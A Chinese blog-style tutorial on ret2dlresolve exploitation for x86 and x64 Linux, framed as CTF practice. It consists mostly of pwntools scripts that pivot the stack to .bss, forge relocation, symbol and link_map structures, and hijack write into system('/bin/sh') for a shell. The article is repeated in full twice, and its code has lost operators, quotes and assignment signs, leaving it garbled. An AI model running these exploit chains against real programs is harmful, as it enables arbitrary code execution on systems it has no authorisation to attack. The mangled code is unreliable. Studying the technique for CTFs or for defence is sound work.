突破无泄漏困境ret2dlresolve攻击在x86/x64架构下的实战精解1. 理解ret2dlresolve的核心机制在Linux系统的动态链接机制中_dl_runtime_resolve函数扮演着关键角色。当程序首次调用动态链接库中的函数时这个过程会触发延迟绑定机制PLT跳转流程调用函数时首先跳转到PLT表首次调用时GOT表指向PLT中的下一条指令压入reloc_arg函数在.rel.plt中的偏移跳转到PLT[0]执行_dl_runtime_resolve关键数据结构typedef struct { Elf32_Addr r_offset; // GOT表地址 Elf32_Word r_info; // 符号表索引和类型 } Elf32_Rel; typedef struct { Elf32_Word st_name; // 字符串表索引 Elf32_Addr st_value; // 符号值 Elf32_Word st_size; // 符号大小 unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;攻击的核心在于伪造这些数据结构欺骗动态链接器解析我们指定的函数。2. x86架构下的分步利用2.1 栈迁移与基础调用首先需要将栈迁移到可控区域如.bss段为后续伪造数据结构创造条件from pwn import * context(archi386, oslinux) elf ELF(./victim) offset 112 bss_addr 0x0804a040 base_stage bss_addr 0x800 # 栈迁移payload payload flat( A*offset, p32(elf.plt[read]), p32(0x08048619), # pop3;ret p32(0), p32(base_stage), p32(0x100), p32(0x0804861b), # pop ebp;ret p32(base_stage), p32(0x08048458) # leave;ret )2.2 伪造.rel.plt条目控制reloc_arg使重定位项指向可控区域rel_plt 0x08048330 # .rel.plt地址 fake_write_addr base_stage 28 fake_arg fake_write_addr - rel_plt # 伪造Elf32_Rel结构 fake_rel flat( p32(elf.got[write]), # r_offset p32(0x607) # r_info (write的原始值) ) payload2 flat( AAAA, p32(0x08048380), # plt[0] fake_arg, aaaa, p32(1), p32(base_stage80), p32(8), fake_rel, A*44, /bin/sh\x00 )2.3 伪造.dynsym条目通过控制r_info指向伪造的符号表项dynsym 0x080481D8 # .dynsym地址 align 0x10 - ((base_stage 36 - dynsym) % 16) fake_sym_addr base_stage 36 align # 计算伪造的r_info r_info (((fake_sym_addr - dynsym)//16) 8) | 0x7 # 伪造Elf32_Sym结构 fake_sym flat( p32(0x4c), # st_name (write的原始偏移) p32(0), p32(0), p32(0x12) )2.4 最终利用将write替换为system修改字符串表内容完成攻击strtab 0x08048278 fake_name (base_stage 36 align 0x10) - strtab # 修改为system fake_sym flat( p32(fake_name), p32(0), p32(0), p32(0x12) ) fake_write_str system\x00 payload2 flat( AAAA, p32(0x08048380), fake_arg, p32(0x08048619), # pop3;ret p32(base_stage80), # /bin/sh地址 p32(0), p32(0), fake_rel, A*align, fake_sym, fake_write_str, /bin/sh\x00 )3. x64架构的特殊处理64位架构下需要特别注意以下差异调用约定参数通过寄存器传递而非栈数据结构变化typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela; #define ELF64_R_SYM(i) ((i) 32)3.1 绕过st_other检查64位下需要确保sym-st_other不为0def fake_linkmap_payload(fake_linkmap_addr, known_func_ptr, offset): linkmap p64(offset (2**64-1)) # l_addr linkmap p64(0) linkmap p64(fake_linkmap_addr 0x18) # DT_JMPREL linkmap p64((fake_linkmap_addr 0x30 - offset) (2**64-1)) linkmap p64(0x7) # r_info linkmap p64(0) # r_addend linkmap p64(0) # l_ns linkmap p64(0) linkmap p64(known_func_ptr - 0x8) # DT_SYMTAB linkmap b/bin/sh\x00 linkmap linkmap.ljust(0x68, bA) linkmap p64(fake_linkmap_addr) # DT_STRTAB linkmap p64(fake_linkmap_addr 0x38) # DT_SYMTAB linkmap linkmap.ljust(0xf8, bA) linkmap p64(fake_linkmap_addr 0x8) # DT_JMPREL return linkmap3.2 完整利用链示例context(archamd64, oslinux) elf ELF(./victim64) libc elf.libc bss_stage 0x601050 0x100 l_addr libc.sym[system] - libc.sym[write] fake_link_map fake_linkmap_payload(bss_stage, elf.got[write], l_addr) payload flat( a*120, pop_rdi, 0, pop_rsi_r15, bss_stage, 0, elf.plt[read], pop_rsi_r15, 0, 0, pop_rdi, bss_stage 0x48, elf.plt[_dl_runtime_resolve], bss_stage, 0 )4. 不同保护机制的应对策略保护级别影响程度利用方式NO RELRO最低直接修改.dynamic中的strtab指针PARTIAL RELRO中等需要完整伪造link_map结构FULL RELRO无法利用GOT表完全只读注意在FULL RELRO保护下ret2dlresolve技术无法使用因为GOT表中的关键地址在程序启动时已被解析并设为只读。5. 实战中的常见问题与解决方案对齐问题x86下.dynsym条目需要16字节对齐使用填充字节确保地址正确align 0x10 - ((fake_sym_addr - dynsym) % 16)参数传递差异x86通过栈传递参数x64通过寄存器传递参数需要相应调整ROP链版本兼容性glibc 2.35引入了更多检查可尝试修改st_other字段绕过新保护通过深入理解动态链接机制和精心构造攻击载荷即使在缺乏信息泄漏的情况下ret2dlresolve仍能提供强大的利用能力。掌握这项技术不仅有助于CTF竞赛更能加深对系统底层机制的理解。
告别信息泄露:手把手教你用ret2dlresolve在x86/x64下无libc地址getshell
发布时间:2026/6/5 1:45:08
突破无泄漏困境ret2dlresolve攻击在x86/x64架构下的实战精解1. 理解ret2dlresolve的核心机制在Linux系统的动态链接机制中_dl_runtime_resolve函数扮演着关键角色。当程序首次调用动态链接库中的函数时这个过程会触发延迟绑定机制PLT跳转流程调用函数时首先跳转到PLT表首次调用时GOT表指向PLT中的下一条指令压入reloc_arg函数在.rel.plt中的偏移跳转到PLT[0]执行_dl_runtime_resolve关键数据结构typedef struct { Elf32_Addr r_offset; // GOT表地址 Elf32_Word r_info; // 符号表索引和类型 } Elf32_Rel; typedef struct { Elf32_Word st_name; // 字符串表索引 Elf32_Addr st_value; // 符号值 Elf32_Word st_size; // 符号大小 unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;攻击的核心在于伪造这些数据结构欺骗动态链接器解析我们指定的函数。2. x86架构下的分步利用2.1 栈迁移与基础调用首先需要将栈迁移到可控区域如.bss段为后续伪造数据结构创造条件from pwn import * context(archi386, oslinux) elf ELF(./victim) offset 112 bss_addr 0x0804a040 base_stage bss_addr 0x800 # 栈迁移payload payload flat( A*offset, p32(elf.plt[read]), p32(0x08048619), # pop3;ret p32(0), p32(base_stage), p32(0x100), p32(0x0804861b), # pop ebp;ret p32(base_stage), p32(0x08048458) # leave;ret )2.2 伪造.rel.plt条目控制reloc_arg使重定位项指向可控区域rel_plt 0x08048330 # .rel.plt地址 fake_write_addr base_stage 28 fake_arg fake_write_addr - rel_plt # 伪造Elf32_Rel结构 fake_rel flat( p32(elf.got[write]), # r_offset p32(0x607) # r_info (write的原始值) ) payload2 flat( AAAA, p32(0x08048380), # plt[0] fake_arg, aaaa, p32(1), p32(base_stage80), p32(8), fake_rel, A*44, /bin/sh\x00 )2.3 伪造.dynsym条目通过控制r_info指向伪造的符号表项dynsym 0x080481D8 # .dynsym地址 align 0x10 - ((base_stage 36 - dynsym) % 16) fake_sym_addr base_stage 36 align # 计算伪造的r_info r_info (((fake_sym_addr - dynsym)//16) 8) | 0x7 # 伪造Elf32_Sym结构 fake_sym flat( p32(0x4c), # st_name (write的原始偏移) p32(0), p32(0), p32(0x12) )2.4 最终利用将write替换为system修改字符串表内容完成攻击strtab 0x08048278 fake_name (base_stage 36 align 0x10) - strtab # 修改为system fake_sym flat( p32(fake_name), p32(0), p32(0), p32(0x12) ) fake_write_str system\x00 payload2 flat( AAAA, p32(0x08048380), fake_arg, p32(0x08048619), # pop3;ret p32(base_stage80), # /bin/sh地址 p32(0), p32(0), fake_rel, A*align, fake_sym, fake_write_str, /bin/sh\x00 )3. x64架构的特殊处理64位架构下需要特别注意以下差异调用约定参数通过寄存器传递而非栈数据结构变化typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela; #define ELF64_R_SYM(i) ((i) 32)3.1 绕过st_other检查64位下需要确保sym-st_other不为0def fake_linkmap_payload(fake_linkmap_addr, known_func_ptr, offset): linkmap p64(offset (2**64-1)) # l_addr linkmap p64(0) linkmap p64(fake_linkmap_addr 0x18) # DT_JMPREL linkmap p64((fake_linkmap_addr 0x30 - offset) (2**64-1)) linkmap p64(0x7) # r_info linkmap p64(0) # r_addend linkmap p64(0) # l_ns linkmap p64(0) linkmap p64(known_func_ptr - 0x8) # DT_SYMTAB linkmap b/bin/sh\x00 linkmap linkmap.ljust(0x68, bA) linkmap p64(fake_linkmap_addr) # DT_STRTAB linkmap p64(fake_linkmap_addr 0x38) # DT_SYMTAB linkmap linkmap.ljust(0xf8, bA) linkmap p64(fake_linkmap_addr 0x8) # DT_JMPREL return linkmap3.2 完整利用链示例context(archamd64, oslinux) elf ELF(./victim64) libc elf.libc bss_stage 0x601050 0x100 l_addr libc.sym[system] - libc.sym[write] fake_link_map fake_linkmap_payload(bss_stage, elf.got[write], l_addr) payload flat( a*120, pop_rdi, 0, pop_rsi_r15, bss_stage, 0, elf.plt[read], pop_rsi_r15, 0, 0, pop_rdi, bss_stage 0x48, elf.plt[_dl_runtime_resolve], bss_stage, 0 )4. 不同保护机制的应对策略保护级别影响程度利用方式NO RELRO最低直接修改.dynamic中的strtab指针PARTIAL RELRO中等需要完整伪造link_map结构FULL RELRO无法利用GOT表完全只读注意在FULL RELRO保护下ret2dlresolve技术无法使用因为GOT表中的关键地址在程序启动时已被解析并设为只读。5. 实战中的常见问题与解决方案对齐问题x86下.dynsym条目需要16字节对齐使用填充字节确保地址正确align 0x10 - ((fake_sym_addr - dynsym) % 16)参数传递差异x86通过栈传递参数x64通过寄存器传递参数需要相应调整ROP链版本兼容性glibc 2.35引入了更多检查可尝试修改st_other字段绕过新保护通过深入理解动态链接机制和精心构造攻击载荷即使在缺乏信息泄漏的情况下ret2dlresolve仍能提供强大的利用能力。掌握这项技术不仅有助于CTF竞赛更能加深对系统底层机制的理解。